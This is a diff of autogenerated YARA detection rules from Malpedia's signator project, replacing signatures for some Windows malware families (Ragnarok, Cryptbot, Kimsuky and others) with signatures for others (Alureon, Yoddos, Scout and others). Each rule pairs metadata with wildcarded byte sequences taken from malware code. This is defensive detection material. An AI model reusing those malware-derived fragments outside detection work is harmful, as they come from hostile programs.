-		$sequence_9 = { 0f8df5000000 e8???????? 488b8890000000 48399938010000 7516 488d05cb030100 }
+		$sequence_0 = { e8???????? 8d8d60ffffff e8???????? 0f108560ffffff be18000000 0f1185c0feffff }
+		$sequence_1 = { 0f104590 0f118540ffffff 0f1045a0 0f118550ffffff e8???????? 83c404 8d8d60ffffff }
+		$sequence_2 = { 894d9c 8b4dbc 89458c 8b45c4 897d98 8b7dc0 }
+		$sequence_3 = { 7410 f745d800000002 7407 b801000000 eb02 33c0 }
+		$sequence_4 = { 03c2 898534ffffff 33c7 c1c008 898520ffffff 03c1 8b4ddc }
+		$sequence_5 = { 0fb605???????? c1e108 0bc8 0fb605???????? c1e108 0bc8 }
+		$sequence_6 = { e8???????? 83c404 0f57c0 660f138424501a0000 6a02 }
+		$sequence_7 = { 8d8d60ffffff e8???????? 8d8d60ffffff e8???????? 0f108560ffffff be04000000 0f118510ffffff }
+		$sequence_8 = { 0f1f440000 8b5cbc48 53 ff15???????? 83f801 }
+		$sequence_9 = { ffb590fdffff ff15???????? 85c0 0f8481fdffff 56 e8???????? }
 
 	condition:
-		7 of them and filesize <339968
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Ragnarok_Auto : FILE
+rule MALPEDIA_Win_Common_Magic_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a9bce1d7-5883-5de4-9b9b-a02072e8d068"
+		id = "51a78d88-2ba4-5106-aa0c-c758f14020ef"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ragnarok_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.common_magic_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "4922b92876243cdefed80b6c256ba49e22b0c6eaa1ad052381af99f572200bea"
+		logic_hash = "b14e276c951448d5c194fa4cd51d59dbec4eb8aa1757a9205bc8d8e9186ff3cd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135238,32 +142253,32 @@ rule MALPEDIA_Win_Ragnarok_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c1f906 57 6bf838 894df4 8b048d28754300 8b540718 8955ec }
-		$sequence_1 = { 884219 0fb6461a 88421a 0fb6461b 88421b 0fb6461c 88421c }
-		$sequence_2 = { c1e908 0fb6c9 c1e308 c1ea10 0fb689105c4300 33d9 8b4dfc }
-		$sequence_3 = { 8bc8 2345a4 f7d1 234d9c 0bc8 c145980a }
-		$sequence_4 = { 0fb689104b4300 33d9 0fb6487e c1e308 0fb689104b4300 33d9 0fb6487d }
-		$sequence_5 = { 8b7d08 0fb6ca 333c8d105d4300 8bcf 897d08 334814 894d08 }
-		$sequence_6 = { 8b75dc 33f9 037dfc 81c64efd53a9 037d98 c1c209 }
-		$sequence_7 = { c1c205 8b7dac 0bc8 034dd8 81c7dcbc1b8f 0355bc 03f9 }
-		$sequence_8 = { 8b048528754300 c644032a0a 8b5d08 747f 8b45f8 8b5df0 8b048528754300 }
-		$sequence_9 = { 8bf8 89bdb8feffff ff36 68???????? ff35???????? e8???????? 8b4810 }
+		$sequence_0 = { 8d049d78824100 8b30 8945fc 90 }
+		$sequence_1 = { 03c0 eb3c 8bd1 b8feffff7f d1ea 2bc2 }
+		$sequence_2 = { c78578ffffff00000000 c7857cffffff00000000 8d9574ffffff c645fc09 8d8d84feffff }
+		$sequence_3 = { 6689855cffffff b8feffff7f 2bc1 c7856cffffff00000000 c78570ffffff07000000 }
+		$sequence_4 = { 33c9 8bc1 3914c5e84a4100 7408 }
+		$sequence_5 = { c7459c65007800 c745a065000000 83f817 0f82140c0000 83bd58ffffff08 8d8544ffffff }
+		$sequence_6 = { 51 50 51 ffb580feffff 8d8d5cffffff }
+		$sequence_7 = { 51 ffb580feffff 8d8d5cffffff e8???????? 838d78feffff06 8d8de4feffff 83bdf8feffff08 }
+		$sequence_8 = { 8b0c8570804100 8a043b 03ce 8b75dc 03cb 43 }
+		$sequence_9 = { 2bc2 3bc8 760e b8ffffff7f befeffff7f 03c0 }
 
 	condition:
-		7 of them and filesize <483328
+		7 of them and filesize <212992
 }
-rule MALPEDIA_Win_Lodeinfo_Auto : FILE
+rule MALPEDIA_Win_Alureon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "47c099ff-69db-5812-85ce-57e24072ce38"
+		id = "d906ba05-9af9-5358-abd3-33a25815a15f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lodeinfo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lodeinfo_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alureon_auto.yar#L1-L161"
 		license_url = "N/A"
-		logic_hash = "e6a58ad7e2bc0ff5d6e63ebfb8b716b1912a0a95e296af817067906fecf4c3bd"
+		logic_hash = "69c2ddac38bf20f21fb2d59f504ac16289e135ccaf5d5c616ac40bfbb62cd466"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135277,32 +142292,38 @@ rule MALPEDIA_Win_Lodeinfo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 894de0 8955f0 8955f8 8955f4 85ff 740a 381433 }
-		$sequence_1 = { 85c0 7412 ff75f4 8b55f0 8bc8 e8???????? 83c404 }
-		$sequence_2 = { 85ff 742e 8b4c2444 8bc7 }
-		$sequence_3 = { 660fefc8 0f114c0620 0f10440630 0f28ca 660fefc8 0f114c0630 83c040 }
-		$sequence_4 = { 5d c3 8b75fc 8b55f0 33c9 85d2 7429 }
-		$sequence_5 = { 8bda 8b5508 57 8bf9 895df8 8b06 }
-		$sequence_6 = { e8???????? 83c404 894708 85c0 750d 39460c 7408 }
-		$sequence_7 = { 03c8 8b4510 d1e9 024fff 884c17ff 8b4dd4 3bf3 }
-		$sequence_8 = { eb72 8b45f0 8975f4 c64406ff00 eb65 8b45f8 8d7e01 }
-		$sequence_9 = { 85c0 748e 33c0 0f57c0 b920010000 8bfa }
+		$sequence_0 = { 59 32c0 8d7c2420 f3aa 8b4d14 }
+		$sequence_1 = { 3b442410 75cf 33c0 5f 5e 5b c20800 }
+		$sequence_2 = { 6800001000 8d45f8 50 c745d818000000 }
+		$sequence_3 = { 68000010c0 8d45fc 50 c745d818000000 }
+		$sequence_4 = { 6800000080 6a03 56 6a01 }
+		$sequence_5 = { 41 8bca 49 ffc7 }
+		$sequence_6 = { 2bc8 03cf 8908 eb2f 837dfc05 751c }
+		$sequence_7 = { 6800005600 8d45d0 50 53 }
+		$sequence_8 = { 53 ff15???????? 8945f8 56 }
+		$sequence_9 = { c745f000010000 749d ff75e8 ff15???????? }
+		$sequence_10 = { 66a5 8d85a8feffff 50 68???????? a4 }
+		$sequence_11 = { 741c 8d85e4fbffff 50 8d85f8feffff 50 }
+		$sequence_12 = { 837dfc0a 7cc0 eb32 8bc3 }
+		$sequence_13 = { 50 33f6 46 56 8d8424cc000000 50 }
+		$sequence_14 = { 8d8424ec010000 50 68???????? ff15???????? 85c0 0f84f2020000 }
+		$sequence_15 = { ff15???????? 85c0 7409 39b424c8000000 75cf 53 53 }
 
 	condition:
-		7 of them and filesize <712704
+		7 of them and filesize <278528
 }
-rule MALPEDIA_Win_Banjori_Auto : FILE
+rule MALPEDIA_Win_Stresspaint_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0d7b2a6e-e2ca-5160-9081-9a7cfdf5e1be"
+		id = "1abc90df-5501-5268-be5d-9ffd5264cf78"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.banjori_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stresspaint_auto.yar#L1-L151"
 		license_url = "N/A"
-		logic_hash = "9dcfb5d77d585c9251303d49a0603c551cff0efcfccd66cc7c87519a0e64ecdd"
+		logic_hash = "34d2cc78b8a1b3b96faf71dac1e0e5a144bca4946a3f4a475da9ab8b6bdc6c9b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135316,32 +142337,38 @@ rule MALPEDIA_Win_Banjori_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6800010000 e8???????? 8945f4 81f9000c0000 7308 e8???????? 8945f0 }
-		$sequence_1 = { 50 ff15???????? ffb5a0feffff e8???????? 53 53 53 }
-		$sequence_2 = { 68???????? ff75fc ff15???????? 53 ff75fc ff15???????? 68???????? }
-		$sequence_3 = { ff750c 53 53 53 53 ff7508 ff35???????? }
-		$sequence_4 = { 78e1 8945e8 eb18 8d85aafeffff 50 ff75e8 ff15???????? }
-		$sequence_5 = { 85c0 7539 68???????? e8???????? 85c0 752b }
-		$sequence_6 = { 6802000080 e8???????? 85c0 0f85fe000000 895df0 8d45f0 50 }
-		$sequence_7 = { 8945f4 8d45f8 50 6819000200 6a00 68???????? 6802000080 }
-		$sequence_8 = { 50 ff35???????? e8???????? e9???????? c745f864000000 68???????? ff15???????? }
-		$sequence_9 = { 6a10 8d45b4 50 ff75c4 ff15???????? 85c0 0f883a020000 }
+		$sequence_0 = { 0103 014510 294514 83665800 }
+		$sequence_1 = { 8d540208 8908 8d4a04 8a5202 51 }
+		$sequence_2 = { 8d540203 3bea 7e4d 8b6c241c }
+		$sequence_3 = { 0106 83560400 837d1c00 7494 }
+		$sequence_4 = { 0103 ebaa 8b442408 56 }
+		$sequence_5 = { 0103 014510 294674 8b4674 }
+		$sequence_6 = { 0107 115f04 3bcb 7508 }
+		$sequence_7 = { 0108 8b8e44010000 114804 8b4f18 }
+		$sequence_8 = { 0107 83570400 85c9 7508 }
+		$sequence_9 = { 010b 8945fc 8bc2 83530400 }
+		$sequence_10 = { 8d5318 c7432400200000 66897312 c6431100 890a }
+		$sequence_11 = { 8d540201 52 51 6a39 55 }
+		$sequence_12 = { 8d540101 8bc5 89542430 8b542450 }
+		$sequence_13 = { 8d5338 3b02 740a 41 83c250 3bcf }
+		$sequence_14 = { 8d540201 8915???????? 33c0 8bd6 }
+		$sequence_15 = { 8d540208 8b4500 c70100000000 8b4c2430 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <1155072
 }
-rule MALPEDIA_Win_Tiny_Turla_Auto : FILE
+rule MALPEDIA_Win_Yoddos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "03ecfc31-50be-55ad-b8ea-3661b97e212f"
+		id = "731c8af4-0cfb-5784-8919-5690671f4ddf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tiny_turla_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yoddos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yoddos_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "78e001a1d7d03185ba347a5f9852159024940a515be46a1732bb8c9313d9ab24"
+		logic_hash = "ffa9bd7fe378e38b72240a0efe08e70cc8c93f69e8ec293489b47b5a90d316d8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135355,32 +142382,32 @@ rule MALPEDIA_Win_Tiny_Turla_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4533ed 8b7d7f 488b742450 8d4f02 }
-		$sequence_1 = { 0f84f8000000 33d2 488d4da0 448d4268 }
-		$sequence_2 = { 488b16 8bd8 894567 41b906000200 488d4577 4533c0 }
-		$sequence_3 = { 48895c2420 ff15???????? 85c0 750e 488bce }
-		$sequence_4 = { ff15???????? 85c0 7516 4533ed }
-		$sequence_5 = { 440fb62a 44886d6f 44894d7f 4585c0 7540 }
-		$sequence_6 = { ff15???????? b005 e9???????? 8b0f 85c9 }
-		$sequence_7 = { 418d511b ff15???????? 488bcb 85c0 0f849b000000 8b7d50 }
-		$sequence_8 = { 48c74308ffffffff 488b4b18 4883f9ff 740e ff15???????? }
-		$sequence_9 = { 4883ec18 c7042400000000 33c0 83f801 7441 8b0424 488b4c2420 }
+		$sequence_0 = { ff15???????? 85c0 0f84e0010000 8d8584fcffff 56 50 }
+		$sequence_1 = { 66895dd8 66895dda 6a0e e8???????? 59 8a8485a4ecffff 8845dc }
+		$sequence_2 = { 740c ffb5c0fcffff ff15???????? b863000000 90 b89dffffff }
+		$sequence_3 = { c6458e65 c6458f6e c6459055 c6459172 c645926c c6459341 }
+		$sequence_4 = { b89dffffff 90 33db 891d???????? b863000000 90 b89dffffff }
+		$sequence_5 = { 0c01 c1f905 83e61f 88450b 8d3c8d00764100 c1e603 }
+		$sequence_6 = { 895dfc c78538ffffff62000000 68???????? 50 e8???????? ff7508 8d8524feffff }
+		$sequence_7 = { 57 ff7508 e8???????? 8bf8 56 037d08 }
+		$sequence_8 = { 0fb7750c 6683f97e 7502 33c9 0fb7d1 8a945504ffffff 3010 }
+		$sequence_9 = { eb28 8d4df0 6a10 51 }
 
 	condition:
-		7 of them and filesize <51200
+		7 of them and filesize <557056
 }
-rule MALPEDIA_Win_Pittytiger_Rat_Auto : FILE
+rule MALPEDIA_Win_Faketc_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9764afd8-8e4e-54dd-9ad2-bd1903f5455d"
+		id = "17b42993-c08e-510a-afaa-62243000eea0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pittytiger_rat_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.faketc_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "a2f2e591a5e3a3c37398ec723056984b2fa4039658f61ff9463c257a6584be3f"
+		logic_hash = "d424513e0804264658899ed0249bf1311c7683556fe66475d3d53a03a7ef5219"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135394,34 +142421,34 @@ rule MALPEDIA_Win_Pittytiger_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8175ec90b48f19 8175f0596f62d6 885df4 50 8d85d4ffffff }
-		$sequence_1 = { a3???????? 0f8451feffff 8d45b8 c745b84f70656e 50 57 }
-		$sequence_2 = { ab ab aa 8d7dc8 33c0 a5 }
-		$sequence_3 = { 397df8 7678 3bf7 7474 }
-		$sequence_4 = { 8bf8 83ffff 7512 ff15???????? }
-		$sequence_5 = { 3bc3 a3???????? 0f8476ffffff 8d459c c745ac65416500 50 }
-		$sequence_6 = { 7512 ff15???????? 50 53 }
-		$sequence_7 = { 50 895df8 ff7510 ff750c ff75fc }
-		$sequence_8 = { ff15???????? 85c0 741c 6a40 ff75f0 ffd7 6af1 }
-		$sequence_9 = { 8d85dcfdffff 50 8d85e0feffff 50 7407 68???????? eb05 }
+		$sequence_0 = { e8???????? c684248001000002 8b442448 8b5004 8bce ffd2 84c0 }
+		$sequence_1 = { e8???????? 83c410 6a5e 8d8576f7ffff 50 6a00 6a00 }
+		$sequence_2 = { 899158010000 8b4508 8b484c 8b55f8 668b4104 66894248 8b4df8 }
+		$sequence_3 = { e8???????? 83c410 6a00 8b4d8c 51 6a01 8b5508 }
+		$sequence_4 = { ffd6 50 b86f000000 e8???????? 83c404 a3???????? eb06 }
+		$sequence_5 = { e9???????? 8d45d8 50 e8???????? c3 8d8548ffffff 50 }
+		$sequence_6 = { c1fa04 8bc2 c1e81f 03c2 895c2410 0f842b010000 895c241c }
+		$sequence_7 = { e8???????? 8b85b0fdffff 8b0d???????? 8d95b8fdffff 52 68???????? 50 }
+		$sequence_8 = { e8???????? b917000000 8bf0 bf???????? f3a5 66a5 c745fc02000000 }
+		$sequence_9 = { c745fc???????? c745f805000000 eb0e c745fc???????? c745f806000000 8b4d08 8b91fc030000 }
 
 	condition:
-		7 of them and filesize <2162688
+		7 of them and filesize <6864896
 }
-rule MALPEDIA_Win_Kurton_Auto : FILE
+rule MALPEDIA_Win_Simplefilemover_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f013ccb0-04a7-5f02-910f-ce10f5a3eef2"
+		id = "21ae03b9-45c9-58fd-b17b-9f1c4dcf7bf7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kurton_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.simplefilemover"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.simplefilemover_auto.yar#L1-L219"
 		license_url = "N/A"
-		logic_hash = "dc4903969616e73929d77cdaee0d726bcae8e439ec6bc053e08d133b52122f5e"
+		logic_hash = "81c6919dbb4aaa2e054461ca67f688251b4ccec2baef13a001955aba375181dd"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -135433,32 +142460,44 @@ rule MALPEDIA_Win_Kurton_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89542430 8d8c24b8000000 89542434 50 8954243c }
-		$sequence_1 = { 83c8ff eb1f 8bce 83e61f c1f905 8bc6 8b0c8da05b0210 }
-		$sequence_2 = { 33c0 8dbc2458010000 c744242800010000 f3ab 8d442428 8d8c2458010000 50 }
-		$sequence_3 = { 889c2478040200 e8???????? 89b42474040200 e9???????? b91f000000 }
-		$sequence_4 = { 64a100000000 50 64892500000000 81ecb8000000 8a442403 53 }
-		$sequence_5 = { 84c0 752b 8b442414 3bc3 }
-		$sequence_6 = { 8d88740a0000 8988280b0000 33c9 c780180b0000902f0210 }
-		$sequence_7 = { 83c410 c20400 68???????? e8???????? 6a00 6a00 6a01 }
-		$sequence_8 = { b91f000000 33c0 8dbc24ad000000 889c24ac000000 f3ab 66ab }
-		$sequence_9 = { 895de0 895ddc 895dfc 897de4 740a 803800 7405 }
+		$sequence_0 = { 8bfc f3a5 e8???????? 81c420020000 }
+		$sequence_1 = { 33c0 e9???????? 6820020000 ff15???????? }
+		$sequence_2 = { 81c420020000 85c0 7407 68???????? eb05 68???????? ff15???????? }
+		$sequence_3 = { b988000000 8bf3 8bfc f3a5 }
+		$sequence_4 = { 33ff 884c2408 3bf7 88542424 897c2410 }
+		$sequence_5 = { 7503 8bfa 46 668b4102 83c102 42 }
+		$sequence_6 = { 8b8d54faffff 51 ff15???????? 6a00 6800200000 8d9554daffff }
+		$sequence_7 = { 8b8554faffff 50 ff15???????? 85c0 }
+		$sequence_8 = { 8b74241c 57 8a8800010000 8a9001010000 33ff }
+		$sequence_9 = { ebc2 ebc0 ebbe ebbc ebba ebb8 }
+		$sequence_10 = { e8???????? 81c420020000 85c0 7410 68???????? ff15???????? }
+		$sequence_11 = { 8b4c2414 8d447b02 50 51 }
+		$sequence_12 = { 5f 889000010000 888801010000 5e 83c410 c3 }
+		$sequence_13 = { e9???????? 807d0867 0f848f020000 807d0870 0f8513040000 }
+		$sequence_14 = { 83bd08daffffff 7409 83bd08daffff00 750f c78508daffff00000000 e9???????? 6a04 }
+		$sequence_15 = { 47 897c2418 0fbfff 3bfb 0f8c54ffffff 8a4c242c }
+		$sequence_16 = { 6a64 ff15???????? ff4de0 395de0 7fd4 }
+		$sequence_17 = { 52 8d855cfaffff 50 8d8d60daffff 51 }
+		$sequence_18 = { 8d85b0ddffff 50 e8???????? 8d45dc 57 50 8b45f4 }
+		$sequence_19 = { 50 ff7610 6a00 6a00 ffd7 ff7508 8d4302 }
+		$sequence_20 = { 8b4c2408 8b742424 53 81e1ff000000 }
+		$sequence_21 = { 53 52 ff15???????? 83c408 5f 5e }
 
 	condition:
-		7 of them and filesize <344064
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Cryptbot_Auto : FILE
+rule MALPEDIA_Win_Blackcoffee_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1c6d7eb4-b0bc-5398-a1c7-a56c78dd600a"
+		id = "73dd8c3a-f7dc-5a69-bc96-7ac383f83a0a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptbot_auto.yar#L1-L150"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackcoffee_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "09f972034d92b74b2b134cacc0a51ffba015046eb0d41dcfb99ea848a8d7ad71"
+		logic_hash = "5b61b5b3834a5515967b9008b852cdcc413fc16af2ff85fb0eab8d0101f0945d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135472,39 +142511,34 @@ rule MALPEDIA_Win_Cryptbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c0 85ed 0f94c0 8be8 }
-		$sequence_1 = { 33c0 eb0a b917d90000 e8???????? }
-		$sequence_2 = { e9???????? b949dc0000 e9???????? b944dc0000 e9???????? b964dc0000 }
-		$sequence_3 = { e8???????? 85c0 750c b961030200 e8???????? }
-		$sequence_4 = { 0f9cc0 eb02 32c0 84c0 }
-		$sequence_5 = { eb0c b99fed0000 e8???????? 8907 }
-		$sequence_6 = { e8???????? 85c0 750e b9ca070200 e8???????? 8bc8 }
-		$sequence_7 = { e8???????? 85c0 750f b955960100 e8???????? e9???????? }
-		$sequence_8 = { 744e 0fb74802 83e103 3bcb }
-		$sequence_9 = { 750b 8bce e8???????? 8b4c2428 }
-		$sequence_10 = { 7508 85f6 7404 c6464101 5e c3 }
-		$sequence_11 = { 7518 8b542414 83c718 8bcd }
-		$sequence_12 = { 7409 33d2 e8???????? 8bf8 43 }
-		$sequence_13 = { 2403 80e110 8ad1 3c02 7509 }
-		$sequence_14 = { 751f 8bd5 8bce e8???????? }
+		$sequence_0 = { 8d85b4feffff 50 ff75f8 ff15???????? 8b85b4feffff }
+		$sequence_1 = { 8b35???????? 57 33ff 3bc7 7416 57 50 }
+		$sequence_2 = { 8b45fc 83c424 8d44301a 6a1c 6a40 894508 ff15???????? }
+		$sequence_3 = { 890d???????? ebdb 89848a00c0e7ff a1???????? ff05???????? }
+		$sequence_4 = { e8???????? ff36 e8???????? 83c00c 68444e4549 }
+		$sequence_5 = { 8d856cffffff c7856cffffff94000000 50 ff15???????? 6a05 }
+		$sequence_6 = { c20800 55 8bec 81ec98000000 56 57 }
+		$sequence_7 = { 899d30ffffff 66895df0 f3ab 8d7df2 6a0f }
+		$sequence_8 = { 83c00c 0107 8b37 03f3 e8???????? 6854414449 }
+		$sequence_9 = { 57 c7460404100680 897e0c 894614 ff75f8 53 ff15???????? }
 
 	condition:
-		7 of them and filesize <11116544
+		7 of them and filesize <118784
 }
-rule MALPEDIA_Win_Kimsuky_Auto : FILE
+rule MALPEDIA_Win_Scout_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "161d56f8-b6bc-5eb6-924b-1d343e294025"
+		id = "782e8973-04d4-5ac6-ba73-37d8fadd11cc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kimsuky_auto.yar#L1-L285"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scout"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scout_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "9e58434bf421de4759f7d578f12345202af7c8ac65503745224655e4e4de3bf9"
+		logic_hash = "5102c52e17a0c63528d1a50969c6684ed49d0991b2b60fe184c02299aec673c2"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -135516,53 +142550,32 @@ rule MALPEDIA_Win_Kimsuky_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ffd6 8bd8 85db 7510 5e }
-		$sequence_1 = { 6a00 6800f70484 6a00 6a00 68???????? 8d85e4fbffff 50 }
-		$sequence_2 = { 8d85ecfbffff 50 8d85f8feffff 50 8d85f4fdffff }
-		$sequence_3 = { ffd7 a3???????? 8d85ccf3ffff 50 56 ffd7 }
-		$sequence_4 = { 7503 56 eb18 6a00 6a00 6a00 }
-		$sequence_5 = { 85c0 7423 6a00 8d85f0feffff 50 68???????? }
-		$sequence_6 = { b9???????? e8???????? 8d85f8feffff 50 6a00 6a00 6a1a }
-		$sequence_7 = { eb06 ff15???????? 85c0 7421 }
-		$sequence_8 = { ff15???????? 85c0 7516 ff15???????? 8bd8 e8???????? }
-		$sequence_9 = { 4156 4157 4883ec40 48896c2470 4889742438 4533ff 4c89642428 }
-		$sequence_10 = { ebdb 65488b042560000000 48897c2430 48896c2460 }
-		$sequence_11 = { 0f857affffff 4c8b7c2460 4c8b6c2420 4c8b642428 488b7c2430 488b742438 488b6c2470 }
-		$sequence_12 = { 498bce 418d5001 ffd3 488bc3 4883c440 415f }
-		$sequence_13 = { 488b742438 488b6c2470 4d8bc6 4d2b4730 }
-		$sequence_14 = { 0f8540feffff 488b6c2460 4c637d3c 33c9 41b800300000 4c03fd }
-		$sequence_15 = { 4533ff 4c89642428 4c896c2420 33f6 4533ed 4533e4 }
-		$sequence_16 = { 85c0 0f94c1 85c9 0f8494020000 }
-		$sequence_17 = { 4c89642430 c744242880000000 c744242002000000 4533c9 4533c0 }
-		$sequence_18 = { 85c0 0f8432020000 8b7590 660f1f440000 }
-		$sequence_19 = { 8b9590000000 0395d8000000 0395b8000000 8bbda0010000 8d4702 03c2 89442450 }
-		$sequence_20 = { 8b4c2468 c6043900 803f00 740d }
-		$sequence_21 = { 488d8a38000000 e9???????? 488d8a28010000 e9???????? }
-		$sequence_22 = { 85c0 7464 c7453038000000 33c0 }
-		$sequence_23 = { 85c0 7471 895c2468 8d4801 }
-		$sequence_24 = { 83f809 8d7340 7405 be20000000 c68424a000000000 }
-		$sequence_25 = { 668945c4 8b05???????? 8945d8 0fb705???????? }
-		$sequence_26 = { 668945ea 6644896dec 4c8d45c0 488d1563c20400 }
-		$sequence_27 = { 66894507 884509 895d0b 85ff }
-		$sequence_28 = { 668945dc 448d62ff e8???????? 33db }
-		$sequence_29 = { 668945b0 488d4db0 e8???????? 488d442450 }
-		$sequence_30 = { 668945e8 488bc3 7203 488b03 }
+		$sequence_0 = { 488d537c 41b888140000 488d4df0 e8???????? 41b904000000 }
+		$sequence_1 = { 498bf9 8b0a e8???????? 90 488d1d86780100 488d356f630100 }
+		$sequence_2 = { 736b 488bc3 488bf3 48c1fe06 4c8d2d4ef80000 }
+		$sequence_3 = { 4d8bf8 488bc6 48894df7 488945ef 488d0d36fbfeff 83e03f 458be9 }
+		$sequence_4 = { 488d1520d50000 b805000000 894520 894528 }
+		$sequence_5 = { 7566 b804000000 660f1f840000000000 488d8980000000 }
+		$sequence_6 = { e8???????? 33c0 488b8d90140000 4833cc e8???????? }
+		$sequence_7 = { c745dca8837182 0f1045d0 c744242801000000 8905???????? }
+		$sequence_8 = { 4c89742438 4c897c2430 ff15???????? 33d2 }
+		$sequence_9 = { 75dd 488d05e31b0100 483bd8 74d1 488bcb }
 
 	condition:
-		7 of them and filesize <1021952
+		7 of them and filesize <315392
 }
